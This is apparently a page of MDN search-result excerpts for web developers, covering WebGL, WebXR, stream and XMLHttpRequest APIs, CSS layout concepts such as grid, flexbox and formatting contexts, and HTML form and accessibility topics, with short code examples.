... drawing the cube next we need to add code to our drawscene() function to draw using the cube's index buffer, adding new gl.bindbuffer() and gl.drawelements() calls: // tell webgl which indices to use to index the vertices gl.bindbuffer(gl.element_array_buffer, buffers.indices); ...
... view the complete code | open this demo on a new page « previousnext » ...
WebGL best practices - Web APIs
these triangles are effectively skipped, which lets you start a new triangle strip unattached to your previous one, without having to split into multiple draw calls.
...has at least one of the following though: webgl_compressed_texture_s3tc (desktop) webgl_compressed_texture_etc1 (android) webgl_compressed_texture_pvrtc (ios) webgl 2 has universal support by combining: webgl_compressed_texture_s3tc (desktop) webgl_compressed_texture_etc (mobile) webgl_compressed_texture_astc has both higher quality and/or higher compression, but is only supported on newer hardware.
... non-blocking async data download/readback the approach in webgl 2 is analogous to the approach in opengl: https://jdashg.github.io/misc/async-gpu-downloads.html function clientwaitasync(gl, sync, flags, interval_ms) { return new promise((resolve, reject) => { function test() { const res = gl.clientwaitsync(sync, flags, 0); if (res == gl.wait_failed) { reject(); return; } if (res == gl.timeout_expired) { settimeout(test, interval_ms); return; } resolve(); } test()); }); } async function getbuffersubdataasync( gl, target, buffer, srcbyte...
...this can be used to build an async-but-accurate function: window.getdevicepixelsize = window.getdevicepixelsize || async function(elem) { await new promise(fn_resolve => { const observer = new resizeobserver(entries => { for (const cur of entries) { const dev_size = cur.devicepixelcontentboxsize; const ret = { width: dev_size[0].inlinesize, height: dev_size[0].blocksize, }; fn_resolve(ret); observer.disconnect(); return; ...
Geometry and reference spaces in WebXR - Web APIs
it is not only always available when using an immersive session mode (immersive-vr or immersive-ar), but is always included among the optional features when requesting a new session; thus, every session created by navigator.xr.requestsession() supports the local reference space type.
... to move the player to a new position, you could rewrite all of its coordinates or manually apply a transform each time they move, but there's an easier way, thanks to reference spaces and their ability to be created relative to one another.
... create an xrrigidtransform object representing the new position and orientation of the player's avatar, then create a new reference space to represent the avatar's point of view at the new position using the xrreferencespace method getoffsetreferencespace().
... with the newly-created reference space, the avatar can remain at the same coordinates yet appear in the world to be located at (and be see the world from the perspective of) its new location.
WindowEventHandlers.onhashchange - Web APIs
examples using an event handler this example uses an event handler (window.onhashchange) to check the new hash value whenever it changes.
... function hashhandler() { console.log('the hash has changed!'); } window.addeventlistener('hashchange', hashhandler, false); overriding the hash this function sets a new hash dynamically, setting it randomly to one of two values.
...'location1' : 'location2'; } the hashchange event the dispatched hashchange event has the following properties: field type description newurl domstring the new url to which the window is navigating.
... polyfill for event.newurl and event.oldurl // let this snippet run before your hashchange event binding code if (!window.hashchangeevent)(function(){ var lasturl = document.url; window.addeventlistener("hashchange", function(event){ object.defineproperty(event, "oldurl", {enumerable:true,configurable:true,value:lasturl}); object.defineproperty(event, "newurl", {enumerable:true,configurable:true,value:document.url}); lasturl = document.url; }); }()); specifications specification status comment html living standardthe definition of 'onhashchange' in that specification.
WritableStream.getWriter() - Web APIs
the getwriter() method of the writablestream interface returns a new instance of writablestreamdefaultwriter and locks the stream to that instance.
...it then calls a function called sendmessage(), passing the newly created stream and a string.
... const list = document.queryselector('ul'); function sendmessage(message, writablestream) { // defaultwriter is of type writablestreamdefaultwriter const defaultwriter = writablestream.getwriter(); const encoder = new textencoder(); const encoded = encoder.encode(message, { stream: true }); encoded.foreach((chunk) => { defaultwriter.ready .then(() => { return defaultwriter.write(chunk); }) .then(() => { console.log("chunk written to sink."); }) .catch((err) => { console.log("chunk error:", err); }); }); // call ready again to ensure that a...
... defaultwriter.ready .then(() => { defaultwriter.close(); }) .then(() => { console.log("all chunks written"); }) .catch((err) => { console.log("stream error:", err); }); } const decoder = new textdecoder("utf-8"); const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var view = new uint16array(buffer); view[0] = chunk; var decoded = decoder.decode(view, { stream: true }); var listitem = document.createelement('li'); listitem.textcontent = "chunk decoded: " + decod...
WritableStreamDefaultWriter - Web APIs
constructor writablestreamdefaultwriter() creates a new writablestreamdefaultwriter object instance.
...it then calls a function called sendmessage(), passing the newly created stream and a string.
... const list = document.queryselector('ul'); function sendmessage(message, writablestream) { // defaultwriter is of type writablestreamdefaultwriter const defaultwriter = writablestream.getwriter(); const encoder = new textencoder(); const encoded = encoder.encode(message, { stream: true }); encoded.foreach((chunk) => { defaultwriter.ready .then(() => { return defaultwriter.write(chunk); }) .then(() => { console.log("chunk written to sink."); }) .catch((err) => { console.log("chunk error:", err); }); }); // call ready again to...
... defaultwriter.ready .then(() => { defaultwriter.close(); }) .then(() => { console.log("all chunks written"); }) .catch((err) => { console.log("stream error:", err); }); } const decoder = new textdecoder("utf-8"); const queuingstrategy = new countqueuingstrategy({ highwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var view = new uint16array(buffer); view[0] = chunk; var decoded = decoder.decode(view, { stream: true }); var listitem = document.createelement('li'); listitem.
XMLHttpRequest() - Web APIs
the xmlhttprequest() constructor creates a new xmlhttprequest.
... syntax const request = new xmlhttprequest(); parameters none.
... return value a new xmlhttprequest object.
... const request = new xmlhttprequest(paramsdictionary); parameters (non-standard) objparameters there are two flags you can set: mozanon boolean: setting this flag to true will cause the browser not to expose the origin and user credentials when fetching resources.
XMLSerializer - Web APIs
var s = new xmlserializer(); var d = document; var str = s.serializetostring(d); savexml(str); this involves creating a new xmlserializer object, then passing the document to be serialized into serializetostring(), which returns the xml equivalent of the document.
... inserting nodes into a dom based on xml this example uses the element.insertadjacenthtml() method to insert a new dom node into the body of the document, based on xml created by serializing an element object.
... note: in the real world, you should usually instead call importnode() method to import the new node into the dom, then call one of the following methods to add the node to the dom tree: the document and element methods append() and prepend() the node.replacewith() method (to replace an existing node with the new one) the document.insertadjacentelement() and element.insertadjacentelement() methods.
... var inp = document.createelement('input'); var xmls = new xmlserializer(); var inp_xmls = xmls.serializetostring(inp); // first convert dom node into a string // insert the newly created node into the document's body document.body.insertadjacenthtml('afterbegin', inp_xmls); the code creates a new <input> element by calling document.createelement(), then serializes it into xml using serializetostring().
XRInputSourceEvent() - Web APIs
the xrinputsourceevent() constructor creates and returns a new xrinputsourceevent object describing an event (state change) which has occurred on a webxr user input device represented by an xrinputsource.
... syntax newinputsourceevent = new xrinputsourceevent(type, eventinitdict); parameters type a domstring indicating which of the input source events the new object will represent.
... eventinitdict an object based on the xrinputsourceeventinit dictionary which contains the values to assign to the new event's properties.
... return value a new xrinputsourceevent object representing the event described by the given type and eventinitdict.
XRInputSourceEventInit.frame - Web APIs
the xrinputsourceeventinit dictionary's property frame specifies an xrframe providing information about the timestamp at which the new input source event took place, as well as access to the xrframe method getpose() which can be used to map the coordinates of any xrreferencespace to the space in which the event took place.
... syntax xrinputsourceeventinit.frame = xrframe; let xrinputsourceeventinit = { frame: xrframe }; let xrinputsourceevent = new xrinputsourceevent(type, { frame: xrframe }); value an xrframe indicating the time at which the event took place, and providing a getpose() method which can be used to map reference spaces to the world reference space.
... examples this example creates a new select event and sends it to the xrsession.
... let event = new xrinputsourceevent("select", { frame: eventframe, inputsource: source }; if (event) { xrsession.dispatchevent(event); } specifications specification status comment webxr device apithe definition of 'xrinputsourceeventinit.frame' in that specification.
XRInputSourcesChangeEvent - Web APIs
constructor xrinputsourceschangeevent() creates and returns a new xrinputsourceschangeevent object configured as indicated by the given xrinputsourceschangeeventinit object.
... properties added read only an array of zero or more xrinputsource objects, each representing an input device which has been newly connected or enabled for use.
... removed read only an array of zero or more xrinputsource objects representing the input devices newly connected or enabled for use.
... examples the following example shows how to set up an event handler which uses inputsourceschange events to detect newly-available pointing devices and to load their models in preparation to display them in the next animation frame.
XRRigidTransform - Web APIs
xrrigidtransform is used to specify transforms throughout the webxr apis, including: the offset and orientation relative to the parent reference space to use when creating a new reference space with getoffsetreferencespace().
... constructor new xrrigidtransform() creates a new xrrigidtransform object which represents a transform that applies a specified position and/or orientation.
... example this code snippet creates an xrrigidtransform to specify the offset and orientation in relation to the current reference space to use when creating a new reference space.
... xrsession.requestreferencespace(refspacetype) .then((refspace) => { xrreferencespace = refspace; xrreferencespace = xrreferencespace.getoffsetreferencespace( new xrrigidtransform(viewerstartposition, cubeorientation)); animationframerequestid = xrsession.requestanimationframe(drawframe); specifications specification status comment webxr device apithe definition of 'xrrigidtransform' in that specification.
XRSession.updateRenderState() - Web APIs
syntax xrsession.updaterenderstate(newstate) parameters newstate an object conforming to the xrrenderstateinit dictionary specifying the properties of the session's renderstate to update before rendering the next frame.
... the baselayer specified in newstate was created by an xrsession other than the one on which updaterenderstate() was called.
...updaterenderstate() is then called to associate the new xrwebgllayer.
... function onxrsessionstarted(xrsession) { let glcanvas = document.createelement("canvas"); let gl = glcanvas.getcontext("webgl", { xrcompatible: true }); loadwebglresources(); xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl) }); } specifications specification status comment webxr device apithe definition of 'xrsession.updaterenderstate()' in that specification.
XRSessionEvent() - Web APIs
the webxr device api's xrsessionevent() constructor creates and returns a new xrsessionevent object.
... syntax newxrsessionevent = new xrsessionevent(type, eventinitdict); parameters type a domstring indicating which of the events represented by objects of type xrsessionevent this particular object represents.
... eventinitdict an object conforming to the xrsessioneventinit dictionary which contains values to be applied to the newly-created event object.
... return value a newly-created xrsessionevent object representing an object of the specfied type and configured as described by the eventinitdict parameter.
XRWebGLLayerInit.alpha - Web APIs
the alpha property is a boolean value which, if present and set to true in the xrwebgllayerinit dictionary passed into the xrwebgllayer() constructor, specifies that the new layer's color buffer is to include an alpha channel.
... syntax let layerinit = { alpha: boolvalue }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { alpha: boolvalue }); value a boolean which can be set to true to request that the new webgl layer for rendering the webxr scene is to have an alpha channel.
... example in this example, a new xrwebgllayer is created for a webxr session, xrsession, without an alpha channel.
... xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { alpha: false }); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.alpha' in that specification.
XRWebGLLayerInit.antialias - Web APIs
the boolean antialias property, if present and set to true in the xrwebgllayerinit object provided as the xrwebgllayer() constructor's layerinit parameter, requests that the new webgl rendering layer support anti-aliasing.
... syntax let layerinit = { antialias: boolvalue }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { antialias: boolvalue }); value a boolean value which can be set to true to request anti-aliasing support in the new webgl rendering layer.
... example in this example, before creating a new xrwebgllayer to use for rendering, the value of a user preference from a configuration interface is obtained using a function called getpreferencevalue() to determine whether the user has enabled or disabled anti-aliasing support; this is passed into the constructor.
... let options = { antialias: getpreferencevalue("antialiasing") }; let gllayer = new xrwebgllayer(xrsession, gl, options); if (gllayer) { xrsession.updaterenderstate({ baselayer: gllayer }); } offering the user features such as the ability to enable or disable things like anti-aliasing can provide them with optiions to try when your app isn't performing as well as they'd like.
XRWebGLLayerInit.depth - Web APIs
when using the xrwebgllayer() constructor to create a new webgl rendering layer for webxr, providing as the layerinit parameter an object whose depth property is false will request that the new layer be created without a depth buffer.
... syntax let layerinit = { depth: false }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { depth: false }); value a boolean which can be set to false to specify that the new webgl layer should not have a depth buffer.
... if (gllayer.ignoredepthvalues) { /* not using the depth buffer */ } example in this example, a new xrwebgllayer is created for a webxr session, xrsession, without a depth buffer.
... xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { depth: false }); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.depth' in that specification.
XRWebGLLayerInit.framebufferScaleFactor - Web APIs
the xrwebgllayerinit dictionary's framebufferscalefactor property, when specified upon instantiating a new xrwebgllayer using its constructor, xrwebgllayer(), specifies the scaling factor to use when determining the size of the frame buffer to use when rendering the scene, relative to the default xr device display resolution.
... syntax let layerinit = { framebufferscalefactor: scalefactor }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { framebufferscalefactor: scalefactor }); value a floating-point value indicating a multiplier to apply to the default frame buffer resolution in order to determine the resolution of the frame buffer for the xrwebgllayer.
... example in this example, a new xrwebgllayer is created for a webxr session, xrsession, with a frame buffer whose resolution is half that of the default display resolution of the xr device.
... xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { framebufferscalefactor: 0.5 }); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.framebufferscalefactor' in that specification.
XRWebGLLayerInit.stencil - Web APIs
when using the xrwebgllayer() constructor to create a new webgl rendering layer for webxr, providing as the layerinit parameter an object whose stencil property is false requests that the new layer be created without a stencil buffer.
... syntax let layerinit = { stencil: false }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { stencil: false }); value a boolean which can be set to false to specify that the new webgl layer should not include a stencil buffer.
... example in this example, a new xrwebgllayer is created for a webxr session, xrsession, without a stencil buffer.
... xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, { stencil: false }); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.stencil' in that specification.
XRWebGLLayerInit - Web APIs
the webxr device api's xrwebgllayerinit dictionary is used to provide configuration options when creating a new xrwebgllayer object with the xrwebgllayer() constructor.
... depth optional a boolean value which, if true, requests that the new layer have a depth buffer; otherwise, no depth layer is allocated.
... stencil optional a boolean value which, if true, requests that the new layer include a stencil buffer.
... const layeroptions = { ignoredepthvalues: true }; xrsession.updaterenderstate({ baselayer: new xrwebgllayer(xrsession, gl, layeroptions); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit' in that specification.
ARIA live regions - Accessibility
planet to view its description'; } } const renderplanetinfobutton = document.queryselector('#renderplanetinfobutton'); renderplanetinfobutton.addeventlistener('click', event => { const planetsselect = document.queryselector('#planetsselect'); const selectedplanet = planetsselect.options[planetsselect.selectedindex].value; renderplanetinfo(selectedplanet); }); as the user selects a new planet, the information in the live region will be announced.
...the clock is updated each minute, with the new remaining time simply overwriting the current content.
... <div id="clock" role="timer" aria-live="polite"></div> /* basic javascript to update the clock */ setinterval(function() { var now = new date(); document.getelementbyid('clock').innerhtml = "time: " + now.gethours() + ":" + ("0"+now.getminutes()).substr(-2); }, 60000); the first time the function executes, the entirety of the string that is added will be announced.
... one way around this would be to first clear the contents of the live region, and then inject the new content.
Web applications and ARIA FAQ - Accessibility
aria is a relatively new specification, but support for it is growing.
... the new attributes introduced in aria, such as role and those prefixed with aria-, aren't officially part of the html 4 or xhtml 4 specifications.
... html5 introduces a number of useful new semantic tags to html.
... a few of these tags overlap directly with roles available in aria, such as the new <progress> element.
Architecture - Accessibility
while it is odd to call non-link objects a link, this was a necessary compromise in the newatk design because it is necessary to know where objects exist within their containing text.
...the new system makes it easier to show caret positions etc., which will be an improvement in ia2 over msaa.
... otherwise, the offset marks the start of a new line.
...the following magic offsets are useful to define in your code: #define char_offset_end_of_line = -1 #define char_offset_caret = -2 more information many more details on the mozilla document hierarchy are in the original design document for newatk.
Accessibility documentation index - Accessibility
5 aria annotations aria, accessibility, wai-aria, annotations, comments, details, suggestions wai-aria version 1.3 sees the addition of a set of new features, collectively known as aria annotations, which allow the creation of accessible annotations inside web documents.
...examples of an article include web log posts, newspaper or magazine articles and use-submitted comments.
...it is usually set on related content items such as comments, forum posts, newspaper articles or other items grouped together on one page.
... 90 community accessibility this document provides links to mailing lists, newsgroups, forums, and other communities related to accessbility.
Using feature queries - CSS: Cascading Style Sheets
the value part of the property value pair matters more if you are testing for new values of a particular property.
...however the values display: flex and display: grid are newer.
...they enable you to provide a good solution for all browsers, and an enhanced solution for those browsers that support newer features.
... summary feature queries can help you start to use newer features by enhancing a simpler display of the site used for older browsers.
Ordering Flex Items - CSS: Cascading Style Sheets
new layout methods such as flexbox and grid bring with them the possibility of controlling the order of content.
... you might have a design, perhaps a card that will display a news item.
... the heading of the news item is the key thing to highlight and would be the element that a user might jump to if they were tabbing between headings to find content they wanted to read.
...especially when using newer layout methods you should ensure that your browser testing includes testing the site using keyboard only, rather than a mouse or touchscreen.
Block and inline layout in normal flow - CSS: Cascading Style Sheets
if there is not enough space in the containing block for all of the boxes a box can break onto a new line.
... the display property and flow layout in addition to the rules existing in css2.1, new levels of css further describe the behaviour of block and inline boxes.
...the flex container behaves like a block element: it displays on a new line and takes up all of the space it can in the inline direction.
...it would not generally make sense for that <strong> element to be displayed as a block level element, breaking onto a new line.
Flow Layout and Writing Modes - CSS: Cascading Style Sheets
the start is where sentences start and the end is where a line of text ends before it would begin to wrap onto a new line.
... a block-level box will establish a new block formatting context, meaning that if its inner display type would be flow, it will get a computed display type of flow-root.
... this is shown in the next example where the box which displays as horizontal-tb contains a float which is contained due to its parent establishing a new bfc.
... therefore, we have new properties of block-size and inline-size.
Basic Concepts of grid layout - CSS: Cascading Style Sheets
this article introduces the css grid layout and the new terminology that is part of the css grid layout level 1 specification.
...you can also create a grid using flexible sizes with percentages or with the new fr unit designed for this purpose.
...the new fr unit represents a fraction of the available space in the grid container.
...the items then lay out on this new grid.
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
we need a new reference point, and this is where understanding the block and inline axes, that we met previously in the guide to alignment, becomes very useful.
...it then moves onto the next line, creating a new row track, and fills in more items: * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 100px); grid-templat...
...items will, by default, place themselves along the inline axis then move onto a new row.
... our new layout methods give us the ability to use these logical values to place items, however, as soon as we start to combine them with the physical properties used for margins and padding, we need to remember that those physical properties will not change according to writing mode.
CSS Grid Layout and Progressive Enhancement - CSS: Cascading Style Sheets
specification is prefixed with an -ms prefix and the properties implemented in ie/edge (≤15) are as follows: grid-template-columns as -ms-grid-columns grid-template-rows as -ms-grid-rows grid-row-start as -ms-grid-row grid-column-start as -ms-grid-column align-self as -ms-grid-row-align justify-self as -ms-grid-column-align the ie version has additional properties not required in the new specification of -ms-grid-column-span and -ms-grid-row-span.
...however, my suggestion is not to make assumptions based on how new specifications have been rolled out in browsers in the past.
...i am using floats for older browsers and grid for new ones.</div> </div> the image below shows the media object in a non-supporting browser on the left, and a supporting one on the right: using feature queries the above example is very simple, and we can get away without needing to write code that would be a problem to browsers that do not support grid, and legacy code is not an issue to our grid supporting browsers.
... autoprefixer and grid autoplacement support in ie css grid and the new autoprefixer ...
Logical properties for margins, borders and padding - CSS: Cascading Style Sheets
margin shorthands as we can now target both sides of a box — either both inline sides or both block sides — there are new shorthands available, margin-inline and margin-block, which accept two values.
...as these are new properties check browser support before using.
...as these are new properties check browser support before using.
... new border shorthands there are two-value shorthands to set the width, style and, color of the block or inline dimension, and two-value shorthands to set all three values in the block or inline dimension.
CSS Tutorials - CSS: Cascading Style Sheets
WebCSSTutorials
intermediate-level css tutorials after the release of css 2 (level 1), new features have been added to css.
... advanced-level css tutorials css also got new features allowing you to create complex layouts.
... css multi-column layouts css3 introduces a new layout allowing you to easily define multiple columns in an element.
... css flexible boxes layouts this new layout allow you to give boxes flexibility, allowing them to be resized smoothly.
Visual formatting model - CSS: Cascading Style Sheets
a grid container, for example, establishes a new grid formatting context for its children.
...therefore, creating a new block formatting context can ensure that floats remain inside a box.
... developers sometimes clear floats by changing the value of the overflow property, as this creates a new block formatting context.
... the newer value of display: flow-root creates a new block formatting context in order to gain the useful effects of this, without any unwanted issues caused by changing the value of overflow.
contain - CSS: Cascading Style Sheets
WebCSScontain
note: if applied (with value: paint, strict or content), this property creates: a new containing block (for the descendants whose position property is absolute or fixed).
... a new stacking context.
... a new block formatting context.
...other article</h2> <img src="graphic.jpg" alt="photo"> <p>more content here.</p> </article> img { float: left; border: 3px solid black; } article { border: 1px solid black; } as you can see, because of the way floats work, the first image ends up inside the area of the second article: fixing with contain if we give each article the contain property with a value of content, when new elements are inserted the browser understands it only needs to recalculate the containing element's subtree, and not anything outside it: <h1>my blog</h1> <article> <h2>heading of a nice article</h2> <p>content here.</p> <img src="i-just-showed-up.jpg" alt="social"> </article> <article> <h2>another heading of another article</h2> <img src="graphic.jpg" alt="photo"> <p>more content h...
display - CSS: Cascading Style Sheets
WebCSSdisplay
depending on the value of other properties (such as position, float, or overflow) and whether it is itself participating in a block or inline formatting context, it either establishes a new block formatting context (bfc) for its contents or integrates its contents into its parent formatting context.
... flow-root the element generates a block element box that establishes a new block formatting context, defining where the formatting root lies.
... .container { display: inline-flex; } for more information on these changes to the specification, see the article adapting to the new two-value syntax of display.
... adapting to the new two-value syntax of display css flow layout (display: block, display: inline) block and inline layout in normal flow flow layout and overflow flow layout and writing modes formatting contexts explained in flow and out of flow display: flex basic concepts of flexbox aligning items in a flex container controlling ratios of flex items along the main axis cross-browser flexbox mixins mastering wrapping of ...
isolation - CSS: Cascading Style Sheets
WebCSSisolation
the isolation css property determines whether an element must create a new stacking context.
... values auto a new stacking context is created only if one of the properties applied to the element requires it.
... isolate a new stacking context must be created.
...in svg, it applies to container elements, graphics elements, and graphics referencing elements.inheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | isolate examples forcing a new stacking context for an element html <div id="b" class="a"> <div id="d"> <div class="a c">auto</div> </div> <div id="e"> <div class="a c">isolate</div> </div> </div> css .a { background-color: rgb(0,255,0); } #b { width: 200px; height: 210px; } .c { width: 100px; height: 100px; border: 1px solid black; padding: 2px; mix-blend-mode: difference; } #d { isolation: auto; } #e { isolation: isolate; } result specifications specification status comment compo...
overflow - CSS: Cascading Style Sheets
WebCSSoverflow
the box is not a scroll container, and does not start a new formatting context.
... if you wish to start a new formatting context, you can use display: flow-root to do so.
...if content fits inside the padding box, it looks the same as visible, but still establishes a new block formatting context.
... specifying a value other than visible (the default) creates a new block formatting context.
<string> - CSS: Cascading Style Sheets
WebCSSstring
to output new lines, you must escape them with a line feed character such as \a or \00000a.
... in your code, however, strings can span multiple lines, in which case each new line must be escaped with a \ as the last character of the line.
... however, to get new lines, you must also set the white-space property to appropriate value.
.../* simple strings */ "this string is demarcated by double quotes." 'this string is demarcated by single quotes.' /* character escaping */ "this is a string with \" an escaped double quote." "this string also has \22 an escaped double quote." 'this is a string with \' an escaped single quote.' 'this string also has \27 an escaped single quote.' "this is a string with \\ an escaped backslash." /* new line in a string */ "this string has a \aline break in it." /* string spanning two lines of code (these two strings will have identical output) */ "a really long \ awesome string" "a really long awesome string" specifications specification status comment css values and units module level 3the definition of '<string>' in that specification.
Ajax - Developer guides
WebGuideAJAX
asynchronous javascript and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together, including html or xhtml, css, javascript, dom, xml, xslt, and most importantly the xmlhttprequest object.
... server-sent events traditionally, a web page has to send a request to the server to receive new data; that is, the page requests data from the server.
... with server-sent events, it's possible for a server to send new data to a web page at any time, by pushing messages to the web page.
... see also ajax: a new approach to web applications jesse james garrett, of adaptive path, wrote this article in february 2005, introducing ajax and its related concepts.
Making content editable - Developer guides
most commands affect the document's selection by, for example, applying a style to the text (bold, italics, etc), while others insert new elements (like adding a link) or affect an entire line (indenting).
...for example, even something as simple as what happens when you press enter/return to create a new line of text inside an editable element was handled differently across the major browsers (firefox inserted <br> elements, ie/opera used <p>, chrome/safari used <div>).
...this is useful if your web application expects the older firefox behavior, and you don't want to or don't have the time to update it to use the new behavior.
...itle 5 &lt;h5&gt;</option> <option value="h6">subtitle &lt;h6&gt;</option> <option value="p">paragraph &lt;p&gt;</option> <option value="pre">preformatted &lt;pre&gt;</option> </select> <select onchange="formatdoc('fontname',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>- font -</option> <option>arial</option> <option>arial black</option> <option>courier new</option> <option>times new roman</option> </select> <select onchange="formatdoc('fontsize',this[this.selectedindex].value);this.selectedindex=0;"> <option class="heading" selected>- size -</option> <option value="1">very small</option> <option value="2">a bit small</option> <option value="3">normal</option> <option value="4">medium-large</option> <option value="5">big</option> <option value="6">v...
Constraint validation - Developer guides
html5 introduced new mechanisms for forms: it added new semantic types for the <input> element and constraint validation to ease the work of checking the form content on the client side.
... basic, usual constraints can be checked, without the need for javascript, by setting new attributes; more complex constraints can be tested using the constraint validation api.
...all newlines are normalized to a single character (as opposed to crlf pairs) for <textarea>.
... or 12345" ], nl : [ '^(nl-)?\\d{4}\\s*([a-rt-z][a-z]|s[bce-rt-z])$', "nederland zips must have exactly 4 digits, followed by 2 letters except sa, sd and ss" ] }; // read the country id var country = document.getelementbyid("country").value; // get the npa field var zipfield = document.getelementbyid("zip"); // build the constraint checker var constraint = new regexp(constraints[country][0], ""); console.log(constraint); // check it!
Introduction to HTML5 - Developer guides
html5 is the fifth revision and newest version of the html standard.
... it offers new features that provide not only rich media support but also enhance support for creating web applications that can interact with users, their local data, and servers more easily and effectively than was previously possible.
...to indicate that your html content uses html5, simply use: <!doctype html> doing so will cause even browsers that don't presently support html5 to enter into standards mode, which means that they'll interpret the long-established parts of html in an html5-compliant way while ignoring the new features of html5 they don't support.
... using the new html5 parser the parsing rules of html5, which analyze the meaning of mark-up, have been more precisely defined in html5.
The HTML autocomplete attribute - HTML: Hypertext Markup Language
"new-password" a new password.
... when creating a new account or changing passwords, this should be used for an "enter your new password" or "confirm new password" field, as opposed to a general "enter your current password" field that might be present.
... this may be used by the browser both to avoid accidentally filling in an existing password and to offer assistance in creating a secure password (see also preventing autofilling with autocomplete="new-password").
... "sex" a gender identity (such as "female", "fa'afafine", "male"), as freeform text without newlines.
Block-level elements - HTML: Hypertext Markup Language
browsers typically display the block-level element with a newline both before and after the element.
... a block-level element always starts on a new line and takes up the full width available (stretches out to the left and right as far as it can).
... default formatting by default, block-level elements begin on new lines, but inline elements can start anywhere in a line.
... elements the following is a complete list of all html "block-level" elements (although "block-level" is not technically defined for elements that are new in html5).
Allowing cross-origin use of images and canvas - HTML: Hypertext Markup Language
starting the download the code that starts the download (say, when the user clicks a "download" button), looks like this: function startdownload() { let imageurl = "https://cdn.glitch.com/4c9ebeb9-8b9a-4adc-ad0a-238d9ae00bb5%2fmdn_logo-only_color.svg?1535749917189"; downloadedimg = new image; downloadedimg.crossorigin = "anonymous"; downloadedimg.addeventlistener("load", imagereceived, false); downloadedimg.src = imageurl; } we're using a hard-coded url here (imageurl), but that could easily come from anywhere.
... to begin downloading the image, we create a new htmlimageelement object by using the image() constructor.
... receiving and saving the image the code that handles the newly-downloaded image is found in the imagereceived() method: function imagereceived() { let canvas = document.createelement("canvas"); let context = canvas.getcontext("2d"); canvas.width = downloadedimg.width; canvas.height = downloadedimg.height; context.drawimage(downloadedimg, 0, 0); imagebox.appendchild(canvas); try { localstorage.setitem("saved-image-example", canvas.toda...
...it begins by creating a new <canvas> element that we'll use to convert the image into a data url, and by getting access to the canvas's 2d drawing context (canvasrenderingcontext2d) in the variable context.
<content>: The Shadow DOM Content Placeholder element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementcontent
it is documented here to assist in adapting code written during the time it was included in the spec to work with newer versions of the specification.
... var mycontent = document.queryselector('div'); // create a shadow dom on the <div> var shadowroot = mycontent.createshadowroot(); // insert into the shadow dom a new heading and // part of the original content: the <p> tag.
...not for use in new websites.deprecated.
... not for use in new websites.user must explicitly enable this feature.user must explicitly enable this feature.
<element>: The Custom Element element (Obsolete) - HTML: Hypertext Markup Language
WebHTMLElementelement
the obsolete html <element> element was part of the web components specification; it was intended to be used to define new custom dom elements.
... it was removed in favor of a javascript-driven approach for creating new custom elements.
...not for use in new websites.deprecated.
... not for use in new websites.
<input type="radio"> - HTML: Hypertext Markup Language
WebHTMLElementinputradio
e3">mail</label> </div> <div> <button type="submit">submit</button> </div> </form> <pre id="log"> </pre> then we add some javascript to set up an event listener on the submit event, which is sent when the user clicks the "submit" button: var form = document.queryselector("form"); var log = document.queryselector("#log"); form.addeventlistener("submit", function(event) { var data = new formdata(form); var output = ""; for (const entry of data) { output = output + entry[0] + "=" + entry[1] + "\r"; }; log.innertext = output; event.preventdefault(); }, false); try this example out and see how there's never more than one result for the contact group.
...this is because only one radio button in a group can ever be selected at once, and the user agent automatically deselects others each time a new one is marked as checked.
...hoice1">email</label> <input type="radio" id="contactchoice2" name="contact" value="phone"> <label for="contactchoice2">phone</label> <input type="radio" id="contactchoice3" name="contact" value="mail"> <label for="contactchoice3">mail</label> </div> <div> <button type="submit">submit</button> </div> </fieldset> </form> there's not much new to note here except for the addition of <fieldset> and <legend> elements, which help to group the functionality nicely and in a semantic way.
...the differences are smaller in the newest browsers.
<kbd>: The Keyboard Input element - HTML: Hypertext Markup Language
WebHTMLElementkbd
html <p>you can also create a new document using the keyboard shortcut <kbd><kbd>ctrl</kbd>+<kbd>n</kbd></kbd>.</p> this wraps the entire key sequence in an outer <kbd> element, then each individual key within its own, in order to denote the components of the sequence.
... result the output looks like this without a style sheet applied: with custom styles we can make more sense of this by adding some css: css we add a new style for <kbd> elements, key, which we can apply when rendering keyboard keys: kbd.key { border-radius: 3px; padding: 1px 2px 0; border: 1px solid black; } html then we update the html to use this class on the keys in the output to be presented: <p>you can also create a new document by pressing <kbd><kbd class="key">ctrl</kbd>+<kbd class="key">n</kbd></kbd>.</p> result the result is ...
... <p>if a syntax error occurs, the tool will output the initial command you typed for your review:</p> <blockquote> <samp><kbd>custom-git ad my-new-file.cpp</kbd></samp> </blockquote> representing onscreen input options nesting a <samp> element inside a <kbd> element represents input which is based on text presented by the system, such as the names of menus and menu items, or the names of buttons displayed on the screen.
